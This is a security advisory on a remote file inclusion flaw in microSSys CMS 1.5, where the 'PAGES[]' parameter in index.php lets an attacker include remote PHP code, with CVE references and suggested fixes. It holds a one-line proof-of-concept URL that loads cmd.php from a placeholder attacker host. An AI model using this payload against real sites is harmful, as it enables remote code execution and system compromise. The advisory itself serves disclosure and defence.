Advisories » microSSys CMS "PAGES[]" Parameter Handling Remote File Inclusion Vulnerability

Release Date:	20/05/2008	Severity:	Highly Critical
SecWatch Advisory:	SWID1021238	Cause:	Input validation error
Solution Status:	Unpatched	Impact:	Disclosure of system information Execution of arbitrary code
Exploit Status:	PoC Available	Access Vector:	From remote
Affected Software:	microSSys CMS 1.x
References:	http://milw0rm.com/exploits/5651
CVE:	CVE-2008-2396
Secunia:	SA30264
Bugtraq ID:	BID#29278

Description:

An input validation vulnerability in microSSys CMS has been reported, which can be exploited by remote users to disclose sensitive information and compromise a vulnerable system.

User-supplied input passed to the "PAGES[]" parameter in index.php is not properly verified before being used to include files. This can be exploited to include arbitrary files from external and local resources, such as arbitrary PHP code which will be executed by the target web service. The PHP code, including operating system commands, will run with the privileges of the target web service.

Note: Successful exploitation requires "register_globals" is enabled.

Affected:

microSSys CMS version 1.5. Other versions may also be affected.

Proof of Concept:

Arbitrary File Inclusion:
http://[target]/index.php?1=lol&PAGES[lol]=http://[attacker]/cmd.php

Solution:

There was no vendor-supplied solution at the time of entry.

Edit source code manually to ensure user-supplied input is correctly sanitised.

Filter malicious characters and character sequences via a HTTP proxy or firewall with URL filtering capabilities.

Credits:

Raz0r

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